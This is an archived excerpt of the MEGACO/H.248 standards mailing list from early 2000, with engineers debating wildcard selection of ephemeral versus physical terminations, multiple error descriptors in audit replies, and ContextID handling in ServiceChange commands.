on 01/27/2000 > 02:36:46 AM > > > > > > > > > > Please respond to "Rosen, Brian" > > > > > > > > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > > > > > cc: (bcc: Sachin Mittal/HSS) > > > > > > > > > > Subject: Re: Choosing of ephemeral / physical > Termination. > > > > > > > > > > > > > > > > > > > > > > > > > Generally determined by the "kind" of > termination requested. > > > > > Which is in turn, easily discernable from the > Media command. > > > > > > > > > > However, upon reflection, I think it's not a good answer. > > > > > I'd propose that we not allow selection of a physical > > > > termination, > > > > > in which case choose is always create an ephemeral. In > > > > particular, > > > > > the following is perfectly legal: > > > > > Context=${Add=${}} > > > > > What do you get? > > > > > > > > > > Brian > > > > > > > > > > > -----Original Message----- > > > > > > From: Sachin Mittal [mailto:samittal@hss.hns.com] > > > > > > Sent: Tuesday, January 25, 2000 9:01 AM > > > > > > To: MEGACO@standards.nortelnetworks.com > > > > > > Subject: Choosing of ephemeral / physical Termination. > > > > > > > > > > > > > > > > > > Annex B.1 says that "The CHOOSE TerminationID > $ may be used > > > > > > to signal to the MG > > > > > > that it has to create an > > > > > > ephemeral Termination or select an idle physical > > > > Termination". > > > > > > How can MG determine when to create an ephemeral > > > termination > > > > > > and when to choose > > > > > > idle physical termination.?? > > > > > > What is the logic behind this decision making? > > > > > > > > > > > > regards > > > > > > -Sachin Mittal > > > > > > > > > > > > > > > From owner-megaco@STANDARDS.NORTELNETWORKS.COM Tue Feb 1 09:55:39 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA20140 for ; Tue, 1 Feb 2000 09:55:39 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.1EABC440@standards.nortelnetworks.com>; Tue, 1 Feb 2000 9:52:58 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 17422 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 1 Feb 2000 09:51:11 -0500 Received: from smtprch1.nortel.com (192.135.215.14) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.DEFCAA80@standards.nortelnetworks.com>; Tue, 1 Feb 2000 9:51:11 -0500 Received: from zmers013 by smtprch1.nortel.com; Tue, 1 Feb 2000 08:52:24 -0600 Received: from zcard00m.ca.nortel.com by zmers013; Tue, 1 Feb 2000 09:51:57 -0500 Received: from zcard00f.ca.nortel.com ([47.129.30.8]) by zcard00m.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id D0AW4DP4; Tue, 1 Feb 2000 09:51:55 -0500 Received: from americasm01.nt.com (wcars052.ca.nortel.com [47.128.210.104]) by zcard00f.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id DMXA2ZVM; Tue, 1 Feb 2000 09:51:56 -0500 X-Mailer: Mozilla 4.6 [en] (X11; I; SunOS 5.6 sun4u) X-Accept-Language: en MIME-Version: 1.0 References: <388D8C0F.9B266F01@ficon-tech.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <3896F374.11062D10@americasm01.nt.com> Date: Tue, 1 Feb 2000 09:53:40 -0500 Reply-To: Abdallah Rayhan Sender: "Media Gateway Control (megaco)" From: Abdallah Rayhan Organization: Nortel Networks Subject: Re: regarding multiple Error Descriptors in command replies. X-To: "Sanjay Kr. Gupta" To: MEGACO@STANDARDS.NORTELNETWORKS.COM Content-Transfer-Encoding: 7bit If you are auditing statistics but the stats are lost. How do you report that ? It is a functional error. The syntax is correct, the semantics is correct but stats are unavailable for one reason or another. You can't say that this is syntax error but you want to be able to treat it as a normal and correct request with faulty results. These kind of glitches are unpredictable and the ABNF allows these glitches to be accommodated. This scenario could apply to other descriptors when audit is being utilized. Hence, you would need to allow multiplicity of errorDescriptor within auditRequest. Abdallah Rayhan "Sanjay Kr. Gupta" wrote: > Hi Brian / John, > > In ABNF of v13, Error Descriptor has been moved to the production > terminationAudit, this would imply that there can be multiple > ErrorDescriptors in each ammsReply/auditReply (in fact it has been > mentioned in the comments also). > > When can multiple Error descriptors be sent in the reply to Add, Move, > Modify, Subtract & Audit commands ? > > Regards, > Sanjay Kr. Gupta > Ficon Technology > e-mail : mailto:skgupta@ficon-tech.com > web: http://www.ficon-tech.com From owner-megaco@STANDARDS.NORTELNETWORKS.COM Tue Feb 1 10:07:52 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA20903 for ; Tue, 1 Feb 2000 10:07:46 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.CCBCA8F0@standards.nortelnetworks.com>; Tue, 1 Feb 2000 10:05:00 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 17442 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 1 Feb 2000 10:03:31 -0500 Received: from smtprch1.nortel.com (192.135.215.14) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.97B2A060@standards.nortelnetworks.com>; Tue, 1 Feb 2000 10:03:31 -0500 Received: from zmers013 by smtprch1.nortel.com; Tue, 1 Feb 2000 09:05:24 -0600 Received: from zrtpd004.us.nortel.com (actually nrtpd004) by zmers013; Tue, 1 Feb 2000 10:05:03 -0500 Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2448.0) id <1A9LMX2Q>; Tue, 1 Feb 2000 10:04:42 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01BF6CC5.AB187B6E" Message-ID: Date: Tue, 1 Feb 2000 10:04:42 -0500 Reply-To: Tom-PT Taylor Sender: "Media Gateway Control (megaco)" From: Tom-PT Taylor Subject: Re: Choosing of ephemeral / physical Termination. X-To: samittal@HSS.HNS.COM To: MEGACO@STANDARDS.NORTELNETWORKS.COM This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01BF6CC5.AB187B6E Content-Type: text/plain; charset="iso-8859-1" I'd like to make sure we agree on one point: IF a media descriptor is present in an Add command, it must be honoured, not ignored. Your concern, I believe, is that someone could issue the command Context=${Add=${}} (Brian's example). There are two ways of approaching the issue: from what I would call a data processing point of view, and from a physical point of view. From the data processing point of view, the command shown above is always valid. At a minimum, it has the effect of causing the MG to allocate the following: - a context identifier - a termination identifier - any software resources (place-holders for more information) the implementation associates with these two entities. Clearly this is not enough to support any flow of media, but until Mode is set for some stream, this doesn't matter. The physical view of the protocol would be that commands are only valid when they provide information the MG can act on to allocate real resources. It was the physical view I was suggesting when I stated rules the other day which would require that the bearer type be somehow inferrable, otherwise an Add command fails. Personally, I think the physical view will require us to make a series of distinctions between valid and invalid command contents. I favour the data processing view simply because it will involve less work. Other views may differ. > -----Original Message----- > From: Sachin Mittal [SMTP:samittal@HSS.HNS.COM] > Sent: Monday, January 31, 2000 11:05 PM > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > Subject: Re: Choosing of ephemeral / physical Termination. > > Christian, > if MGC is aware of patterns of such kind, then > the issues/assumptions are as mentioned by Brian > But the original point was the the appearance > of $ with NO PRE-STRING and POST-STRING attached to it. > In that case how can you figure out what to choose. > I am not in favor of looking at media descriptor, etc > because they may not appear with the ADD. > Can we say ADD is successful if there doesn't yet > exist a "star connection" in the context in which atleast > one other termination is present ??? > > > > > > "Rosen, Brian" on 02/01/2000 01:09:49 AM > > Please respond to "Rosen, Brian" > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > cc: (bcc: Sachin Mittal/HSS) > > Subject: Re: Choosing of ephemeral / physical Termination. > > > > > Just checking my assumptions: > For a physical termination, you want to be able to say: > MyDS3/3/$ > meaning, you choose any DS0 you want in the 3rd DS1 of a DS3, > assuming that > was how my MG named the DS0s (such a structure NOT being > required). > Could > I also ask for MyDS3/$/$? > > For an ephemeral termination, suppose that I knew, by discovery or > provisioning that RTP bearers were named RTP/nnnn and ATM bearers > were > named AAL1/nnnn/nn. Can I Add=AAL1/0003/$, which means create an > ephemeral for an ATM AAL1 bearer, with the MG choosing the > subchannel? > > Brian > > > -----Original Message----- > > From: Christian Groves [mailto:Christian.Groves@ERICSSON.COM] > > Sent: Monday, January 31, 2000 10:27 AM > > To: MEGACO@standards.nortelnetworks.com > > Subject: Re: Choosing of ephemeral / physical Termination. > > > > > > Hello all, > > > > I believe that we have diverged from the first email in this > > thread. We > > do not need rules to determine what media and bearer is instantiated. > > > > For a physical termination a certain terminationID schema will be > > assigned by the MG. ie. /myscheme/physical/trunk/circuit > > If the MGC wanted to CHOOSE a physical termination it could either > > wildcard 'trunk' or 'circuit'. > > > > For a emphemeral terminatoion a certain terminationID schema will be > > assigned by the MG. The MGC by various means would be aware of this > > scheme. > > ie. /myscheme/euphemeral/IP > > If the MGC wanted to CHOOSE a euphemeral termination it could wilcard > > the 'IP' > > > > The 'physical' and 'ephemeral' could be anything in the the > > MG assigned > > scheme that would differentiate the two. > > > > If the MGC doesn't care which one then it CHOOSES on the > > 'ephemeral'/'physical' level. The MG can determine which one to return > > from ANY information in the media descriptors. This is > > something for the > > MG to decide, not something that needs to be specified in > > rules in H248 > > because they'll probably change according to your > > application, resource > > allocation algorithms in the MG, etc. I do agree that an > > error should be > > returned if the MG cannot determine the terminationID. > > > > I think the scope of this is also limited to the ADD command. The ADD > > will return a fully specified terminationID which can then be > > referenced > > in Move, Modify, Subtract etc. > > > > Regards, Christian > > > > Tom-PT Taylor wrote: > > > > > > Right, we haven't converged yet. I have a suggestion which may > > > resolve this, that we add these rules > > > > > > (1) If the MGC provides too little information in an Add command for > > > the MG to select the bearer type for that termination, the MG must > > > reject the command with [appropriate error]. In practice, > > this means > > > either that the terminationID in the command provides the necessary > > > information, or else that at least one instance of a Local or Remote > > > descriptor must be present, containing a c= line with a specified > > > nettype (or the Annex C equivalent). > > > > > > (2) If the MGC provides too little information in an Add, Move, or > > > Modify command for the MG to determine the medium to be carried in a > > > given stream, the MG must reject the command with [appropriate > > > error]. The MG has three ways to determine medium: > > > > > > - streamID unspecified defaults to streamID=1 and medium=audio > > > - medium has already been specified for that streamID for another > > > termination in the same context > > > - explicit specification of medium in an m= line (or the Annex C > > > equivalent) in an instance of Local or Remote for the given > > streamID. > > > > > > -----Original Message----- > > > From: Rosen, Brian [SMTP:brosen@FORE.COM] > > > Sent: Monday, January 31, 2000 9:15 AM > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > > > Subject: Re: Choosing of ephemeral / physical > > Termination. > > > > > > I believe we have not reached consensus on this issue, so I did > > > not > > > change the text. Tom, is that your view? > > > > > > Brian > > > > > > > -----Original Message----- > > > > From: Sachin Mittal [mailto:samittal@hss.hns.com] > > > > Sent: Monday, January 31, 2000 2:52 AM > > > > To: MEGACO@standards.nortelnetworks.com > > > > Subject: Re: Choosing of ephemeral / physical Termination. > > > > > > > > > > > > The point that "$" is for choosing ephemeral is not yet added > > > > in V14. Is it that > > > > the discussion > > > > is not yet complete? What about foo$ representing choose > > > physical. > > > > > > > > > > > > > > > > > > > > Sachin Mittal on 01/27/2000 11:35:50 AM > > > > > > > > Please respond to samittal@hns.com > > > > > > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > > > > cc: (bcc: Sachin Mittal/HSS) > > > > > > > > Subject: Re: Choosing of ephemeral / physical Termination. > > > > > > > > > > > > > > > > > > > > Its true that the type of termination should not be > > > > identified by looking into > > > > the descriptor > > > > information. Somewhere in the text this should be added that > > > > " $ if it appears > > > > alone indicates > > > > ephemeral termination and partial $ (ex foo$) indicates > > > > selection of a physical > > > > termination > > > > (a circuit within a trunk group)". > > > > > > > > > > > > > > > > > > > > "Rosen, Brian" on 01/27/2000 02:36:46 AM > > > > > > > > Please respond to "Rosen, Brian" > > > > > > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > > > > cc: (bcc: Sachin Mittal/HSS) > > > > > > > > Subject: Re: Choosing of ephemeral / physical Termination. > > > > > > > > > > > > > > > > > > > > Generally determined by the "kind" of termination requested. > > > > Which is in turn, easily discernable from the Media command. > > > > > > > > However, upon reflection, I think it's not a good answer. > > > > I'd propose that we not allow selection of a physical > > > termination, > > > > in which case choose is always create an ephemeral. In > > > particular, > > > > the following is perfectly legal: > > > > Context=${Add=${}} > > > > What do you get? > > > > > > > > Brian > > > > > > > > > -----Original Message----- > > > > > From: Sachin Mittal [mailto:samittal@hss.hns.com] > > > > > Sent: Tuesday, January 25, 2000 9:01 AM > > > > > To: MEGACO@standards.nortelnetworks.com > > > > > Subject: Choosing of ephemeral / physical Termination. > > > > > > > > > > > > > > > Annex B.1 says that "The CHOOSE TerminationID $ may be used > > > > > to signal to the MG > > > > > that it has to create an > > > > > ephemeral Termination or select an idle physical > > > Termination". > > > > > How can MG determine when to create an ephemeral > > termination > > > > > and when to choose > > > > > idle physical termination.?? > > > > > What is the logic behind this decision making? > > > > > > > > > > regards > > > > > -Sachin Mittal > > > > > > > > > > > ------_=_NextPart_001_01BF6CC5.AB187B6E Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: Choosing of ephemeral / physical Termination.

I'd like to make = sure we agree on one point: IF a media descriptor is present in an Add = command, it must be honoured, not ignored.

Your concern, I = believe, is that someone could issue the command Context=3D${Add=3D${}} (Brian's example).  There = are two ways of approaching the issue: from what I would call a data = processing point of view, and from a physical point of view.

From the data processing point of = view, the command shown above is always valid.  At a minimum, it = has the effect of causing the MG to allocate the following:

 - a context identifier
 - a termination = identifier
 - any software resources = (place-holders for more information) the implementation associates with = these two entities.
Clearly this is not enough to support = any flow of media, but until Mode is set for some stream, this doesn't = matter.

The physical view of the protocol = would be that commands are only valid when they provide information the = MG can act on to allocate real resources.  It was the physical = view I was suggesting when I stated rules the other day which would = require that the bearer type be somehow inferrable, otherwise an Add = command fails.

Personally, I think the physical view = will require us to make a series of distinctions between valid and = invalid command contents.  I favour the data processing view = simply because it will involve less work.  Other views may = differ.

    -----Original Message-----
    From:   Sachin Mittal = [SMTP:samittal@HSS.HNS.COM]
    Sent:   Monday, January 31, 2000 11:05 PM
    To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
    Subject:       = Re: Choosing of ephemeral / physical = Termination.

    Christian,
    if MGC is aware of patterns of such = kind, then
    the issues/assumptions are as = mentioned by Brian
    But the original point was the the = appearance
    of $ with NO PRE-STRING and = POST-STRING attached to it.
    In that case how can you figure out = what to choose.
    I am not in favor of looking at media = descriptor, etc
    because they may not appear with the = ADD.
    Can we say ADD is successful if there = doesn't yet
    exist a "star connection" = in the context in which atleast
    one other termination is present = ???





    "Rosen, Brian" = <brosen@FORE.COM> on 02/01/2000 01:09:49 AM

    Please respond to "Rosen, = Brian" <brosen@FORE.COM>

    To:   = MEGACO@STANDARDS.NORTELNETWORKS.COM
    cc:    (bcc: Sachin = Mittal/HSS)

    Subject:  Re: Choosing of = ephemeral / physical Termination.




    Just checking my assumptions:
            For a = physical termination, you want to be able to say:
             &nb= sp;      MyDS3/3/$
           = meaning, you choose any DS0 you want in the 3rd DS1 of a DS3,
    assuming that
             was how = my MG named the DS0s (such a structure NOT being required).
    Could
            I also ask = for MyDS3/$/$?

            For an = ephemeral termination, suppose that I knew, by discovery or
            provisioning = that RTP bearers were named RTP/nnnn and ATM bearers
    were
            named = AAL1/nnnn/nn.  Can I Add=3DAAL1/0003/$, which means create = an
            ephemeral for = an ATM AAL1 bearer, with the MG choosing the
    subchannel?

    Brian

    > -----Original Message-----
    > From: Christian Groves = [mailto:Christian.Groves@ER= ICSSON.COM]
    > Sent: Monday, January 31, 2000 = 10:27 AM
    > To: = MEGACO@standards.nortelnetworks.com
    > Subject: Re: Choosing of = ephemeral / physical Termination.
    >
    >
    > Hello all,
    >
    > I believe that we have diverged = from the first email in this
    > thread. We
    > do not need rules to determine = what media and bearer is instantiated.
    >
    > For a physical termination a = certain terminationID schema will be
    > assigned by the MG. ie. = /myscheme/physical/trunk/circuit
    > If the MGC wanted to CHOOSE a = physical termination it could either
    > wildcard 'trunk' or = 'circuit'.
    >
    > For a emphemeral terminatoion a = certain terminationID schema will be
    > assigned by the MG. The MGC by = various means would be aware of this
    > scheme.
    > ie. = /myscheme/euphemeral/IP
    > If the MGC wanted to CHOOSE a = euphemeral termination it could wilcard
    > the 'IP'
    >
    > The 'physical' and 'ephemeral' = could be anything in the the
    > MG assigned
    > scheme that would differentiate = the two.
    >
    > If the MGC doesn't care which = one then it CHOOSES on the
    > 'ephemeral'/'physical' level. = The MG can determine which one to return
    > from ANY information in the = media descriptors. This is
    > something for the
    > MG to decide, not something that = needs to be specified in
    > rules in H248
    > because they'll probably change = according to your
    > application, resource
    > allocation algorithms in the MG, = etc. I do agree that an
    > error should be
    > returned if the MG cannot = determine the terminationID.
    >
    > I think the scope of this is = also limited to the ADD command. The ADD
    > will return a fully specified = terminationID which can then be
    > referenced
    > in Move, Modify, Subtract = etc.
    >
    > Regards, Christian
    >
    > Tom-PT Taylor wrote:
    > >
    > > Right, we haven't converged = yet.  I have a suggestion which may
    > > resolve this, that we add = these rules
    > >
    > > (1) If the MGC provides too = little information in an Add command for
    > > the MG to select the bearer = type for that termination, the MG must
    > > reject the command with = [appropriate error].  In practice,
    > this means
    > > either that the = terminationID in the command provides the necessary
    > > information, or else that = at least one instance of a Local or Remote
    > > descriptor must be present, = containing a c=3D line with a specified
    > > nettype (or the Annex C = equivalent).
    > >
    > > (2) If the MGC provides too = little information in an Add, Move, or
    > > Modify command for the MG = to determine the medium to be carried in a
    > > given stream, the MG must = reject the command with [appropriate
    > > error].  The MG has = three ways to determine medium:
    > >
    > >  - streamID = unspecified defaults to streamID=3D1 and medium=3Daudio
    > >  - medium has already = been specified for that streamID for another
    > > termination in the same = context
    > >  - explicit = specification of medium in an m=3D line (or the Annex C
    > > equivalent) in an instance = of Local or Remote for the given
    > streamID.
    > >
    > = >      -----Original Message-----
    > = >      From:   Rosen, Brian = [SMTP:brosen@FORE.COM]
    > = >      Sent:   Monday, January = 31, 2000 9:15 AM
    > = >      To:     = MEGACO@STANDARDS.NORTELNETWORKS.COM
    > = >      = Subject:        Re: Choosing of = ephemeral / physical
    > Termination.
    > >
    > = >      I believe we have not reached = consensus on this issue, so I did
    > = >      not
    > = >      change the text.  Tom, is that = your view?
    > >
    > = >      Brian
    > >
    > = >      > -----Original = Message-----
    > = >      > From: Sachin Mittal = [mailto:samittal@hss.hns.com]
    > = >      > Sent: Monday, January 31, 2000 = 2:52 AM
    > = >      > To: = MEGACO@standards.nortelnetworks.com
    > = >      > Subject: Re: Choosing of = ephemeral / physical Termination.
    > = >      >
    > = >      >
    > = >      > The point that "$" is = for choosing ephemeral is not yet added
    > = >      > in V14. Is it that
    > = >      > the discussion
    > = >      > is not yet complete? What about = foo$ representing choose
    > = >      physical.
    > = >      >
    > = >      >
    > = >      >
    > = >      >
    > = >      > Sachin Mittal = <samittal@hns.com> on 01/27/2000 11:35:50 AM
    > = >      >
    > = >      > Please respond to = samittal@hns.com
    > = >      >
    > = >      > To:   = MEGACO@STANDARDS.NORTELNETWORKS.COM
    > = >      > cc:    (bcc: = Sachin Mittal/HSS)
    > = >      >
    > = >      > Subject:  Re: Choosing of = ephemeral / physical Termination.
    > >     = ; >
    > = >      >
    > = >      >
    > = >      >
    > = >      > Its true that the type of = termination should not be
    > = >      > identified by looking = into
    > = >      > the descriptor
    > = >      > information. Somewhere in the = text this should be added that
    > = >      > " $ if it appears
    > = >      > alone indicates
    > = >      > ephemeral termination and = partial $ (ex foo$) indicates
    > = >      > selection of a physical
    > = >      > termination
    > = >      > (a circuit within a trunk = group)".
    > = >      >
    > = >      >
    > = >      >
    > = >      >
    > = >      > "Rosen, Brian" = <brosen@FORE.COM> on 01/27/2000 02:36:46 AM
    > = >      >
    > = >      > Please respond to "Rosen, = Brian" <brosen@FORE.COM>
    > = >      >
    > = >      > To:   = MEGACO@STANDARDS.NORTELNETWORKS.COM
    > = >      > cc:    (bcc: = Sachin Mittal/HSS)
    > = >      >
    > = >      > Subject:  Re: Choosing of = ephemeral / physical Termination.
    > = >      >
    > = >      >
    > = >      >
    > = >      >
    > = >      > Generally determined by the = "kind" of termination requested.
    > = >      > Which is in turn, easily = discernable from the Media command.
    > = >      >
    > = >      > However, upon reflection, I = think it's not a good answer.
    > = >      > I'd propose that we not allow = selection of a physical
    > = >      termination,
    > = >      > in which case choose is always = create an ephemeral.  In
    > = >      particular,
    > = >      > the following is perfectly = legal:
    > = >      > Context=3D${Add=3D${}}
    > = >      > What do you get?
    > = >      >
    > = >      > Brian
    > = >      >
    > = >      > > -----Original = Message-----
    > = >      > > From: Sachin Mittal = [mailto:samittal@hss.hns.com]
    > = >      > > Sent: Tuesday, January 25, = 2000 9:01 AM
    > = >      > > To: = MEGACO@standards.nortelnetworks.com
    > = >      > > Subject: Choosing of = ephemeral / physical Termination.
    > = >      > >
    > = >      > >
    > = >      > > Annex B.1 says that = "The CHOOSE TerminationID $ may be used
    > = >      > > to signal to the MG
    > = >      > > that it has to create = an
    > = >      > > ephemeral Termination or = select an idle physical
    > = >      Termination".
    > = >      > > How can MG determine when = to create an ephemeral
    > termination
    > = >      > > and when to choose
    > = >      > > idle physical = termination.??
    > = >      > > What is the logic behind = this decision making?
    > = >      > >
    > = >      > > regards
    > = >      > > -Sachin Mittal
    > = >      > >
    > = >      >
    >

------_=_NextPart_001_01BF6CC5.AB187B6E-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Tue Feb 1 10:22:13 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA21496 for ; Tue, 1 Feb 2000 10:22:12 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.9EF2A2B0@standards.nortelnetworks.com>; Tue, 1 Feb 2000 10:18:02 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 17471 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 1 Feb 2000 10:16:23 -0500 Received: from smtprch1.nortel.com (192.135.215.14) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.64038200@standards.nortelnetworks.com>; Tue, 1 Feb 2000 10:16:23 -0500 Received: from zmers013 by smtprch1.nortel.com; Tue, 1 Feb 2000 09:17:46 -0600 Received: from zrtpd004.us.nortel.com (actually nrtpd004) by zmers013; Tue, 1 Feb 2000 10:17:19 -0500 Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2448.0) id <1A9LMXZA>; Tue, 1 Feb 2000 10:17:18 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01BF6CC7.6C9470E4" Message-ID: Date: Tue, 1 Feb 2000 10:17:16 -0500 Reply-To: Tom-PT Taylor Sender: "Media Gateway Control (megaco)" From: Tom-PT Taylor Subject: Re: Importance of ContextID in ServiceChange command X-To: samittal@HSS.HNS.COM To: MEGACO@STANDARDS.NORTELNETWORKS.COM This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01BF6CC7.6C9470E4 Content-Type: text/plain; charset="iso-8859-1" The phrasing I put in my message "Issue Scorecard" was that the MGC "should" send the right contextID when a single termination is involved, implying that the MG could not count on it, but might be able to use it to speed up processing. > -----Original Message----- > From: Sachin Mittal [SMTP:samittal@HSS.HNS.COM] > Sent: Tuesday, February 01, 2000 12:00 AM > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > Subject: Re: Importance of ContextID in ServiceChange command > > > > I said that because in case of Graceful and Forced whether from MG or MGC, > the > MG > does not clear the context by itself and the subtract from MGC does that. > So MG > has nothing to do with > contextID (Termination is specified or wildcarded). For restart the basic > assumption is that > it is sent for terminations which are out-of-service ???. And > Disconnected, > Handoff, Failover > methods are for root termination. > > Thus if MGC provides contextid or not doesn't matter to MG. Do you mean to > say > that if > MGC provides a wrong contextid the MG will DISCARD ServiceChange just > because > contextid is wrong !!! (so need of checking contextid/ no meaning of > contextid > in servicechange) > > In my opinion so called "implementation issues" which are in fact a MUST > to > consider > for each implementation should find there way into the document. > > > > > Chuong Nguyen on 02/01/2000 12:28:45 AM > > Please respond to Chuong Nguyen > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > cc: (bcc: Sachin Mittal/HSS) > > Subject: Re: Importance of ContextID in ServiceChange command > > > > > It will depends on the scenario. Therefore it is an implementation > issue. Thus it should not > be a requirement to provide contextId. > For example, what if someone wants to take a range of terminations out > of service via wildcards. > The contextId would be different for that range of terminations. > > For an individual termination, it should be allowed but not mandatory. > But simplicity is better here. > > Chuong > > Tom-PT Taylor wrote: > > > > > > > I've thought about this a bit more, and I think it's wrong. Where > > ServiceChange applies to an individual termination rather than ROOT, > > the sender should provide the contextID of the context in which the > > termination currently exists. This makes it easier for the other end > > to process the command. > > > > -----Original Message----- > > From: Sachin Mittal [SMTP:samittal@HSS.HNS.COM] > > Sent: Monday, January 31, 2000 2:54 AM > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > > Subject: Re: Importance of ContextID in ServiceChange > > command > > > > > > Need to add this in text. Somehow missed in V14. > > > > > > > > Tom-PT Taylor on 01/28/2000 02:28:57 > > AM > > > > Please respond to Tom-PT Taylor > > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > > cc: (bcc: Sachin Mittal/HSS) > > > > Subject: Re: Importance of ContextID in ServiceChange command > > > > > > > > Good point. > > > > > -----Original Message----- > > > From: Sachin Mittal [SMTP:samittal@HSS.HNS.COM] > > > Sent: Thursday, January 27, 2000 4:07 AM > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > > > Subject: Importance of ContextID in ServiceChange command > > > > > > HI all > > > > > > It should be mentioned somewhere in the text that there is no > > > siginificance of > > > ContextID in case of ServiceChange Command. The ServiceChange > > command > > > is for terminations and no validation is done on ContextID > > should be done. > > << File: Internet HTML >> > > > -- > Alcatel USA, Inc Internet: Chuong.Nguyen@usa.alcatel.com > 1000 Coit Road Plano, Texas 75075 Phone: (972) 519-4613 > **** The opinions expressed are not those of Alcatel USA, Inc **** > > > ------_=_NextPart_001_01BF6CC7.6C9470E4 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: Importance of ContextID in ServiceChange command

The phrasing I put = in my message "Issue Scorecard" was that the MGC = "should" send the right contextID when a single termination = is involved, implying that the MG could not count on it, but might be = able to use it to speed up processing.

    -----Original Message-----
    From:   Sachin Mittal = [SMTP:samittal@HSS.HNS.COM]
    Sent:   Tuesday, February 01, 2000 12:00 AM
    To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
    Subject:       = Re: Importance of ContextID in = ServiceChange command



    I said that because in case of = Graceful and Forced whether from MG or MGC, the
    MG
    does not clear the context by itself = and the subtract from MGC does that. So MG
    has nothing to do with
    contextID (Termination is specified = or wildcarded). For restart the basic
    assumption is that
    it is sent for terminations which are = out-of-service ???. And Disconnected,
    Handoff, Failover
    methods are for root = termination.

    Thus if MGC provides contextid or not = doesn't matter to MG. Do you mean to say
    that if
    MGC provides a wrong contextid the MG = will DISCARD ServiceChange just because
    contextid is wrong !!! (so need of = checking contextid/ no meaning of contextid
    in servicechange)

    In my opinion so called = "implementation issues" which are in fact a MUST to
    consider
    for each implementation should find = there way into the document.




    Chuong Nguyen = <Chuong.Nguyen@USA.ALCATEL.COM> on 02/01/2000 12:28:45 AM

    Please respond to Chuong Nguyen = <Chuong.Nguyen@USA.ALCATEL.COM>

    To:   = MEGACO@STANDARDS.NORTELNETWORKS.COM
    cc:    (bcc: Sachin = Mittal/HSS)

    Subject:  Re: Importance of = ContextID in ServiceChange command




    It will depends on the scenario.  = Therefore it is an implementation
    issue.  Thus it should = not
    be a requirement to provide = contextId.
    For example, what if someone wants to = take a range of terminations out
    of service via wildcards.
    The contextId would be different for = that range of terminations.

    For an individual termination, it = should be allowed but not mandatory.
    But simplicity is better here.

    Chuong

    Tom-PT Taylor wrote:

    >
    >
    > I've thought about this a bit = more, and I think it's wrong.  Where
    > ServiceChange applies to an = individual termination rather than ROOT,
    > the sender should provide the = contextID of the context in which the
    > termination currently = exists.  This makes it easier for the other end
    > to process the command.
    >
    >      = -----Original Message-----
    >      = From:  Sachin Mittal [SMTP:samittal@HSS.HNS.COM]
    >      = Sent:  Monday, January 31, 2000 2:54 AM
    >      = To:    MEGACO@STANDARDS.NORTELNETWORKS.COM
    >      = Subject:       Re: Importance of = ContextID in ServiceChange
    >      = command
    >
    >
    >      = Need to add this in text. Somehow missed in V14.
    >
    >
    >
    >      = Tom-PT Taylor <taylor@NORTELNETWORKS.COM> on 01/28/2000 = 02:28:57
    >      = AM
    >
    >      = Please respond to Tom-PT Taylor = <taylor@NORTELNETWORKS.COM>
    >
    >      = To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
    >      = cc:    (bcc: Sachin Mittal/HSS)
    >
    >      = Subject:  Re: Importance of ContextID in ServiceChange = command
    >
    >
    >
    >      = Good point.
    >
    >      = > -----Original Message-----
    >      = > From: Sachin Mittal [SMTP:samittal@HSS.HNS.COM]
    >      = > Sent: Thursday, January 27, 2000 4:07 AM
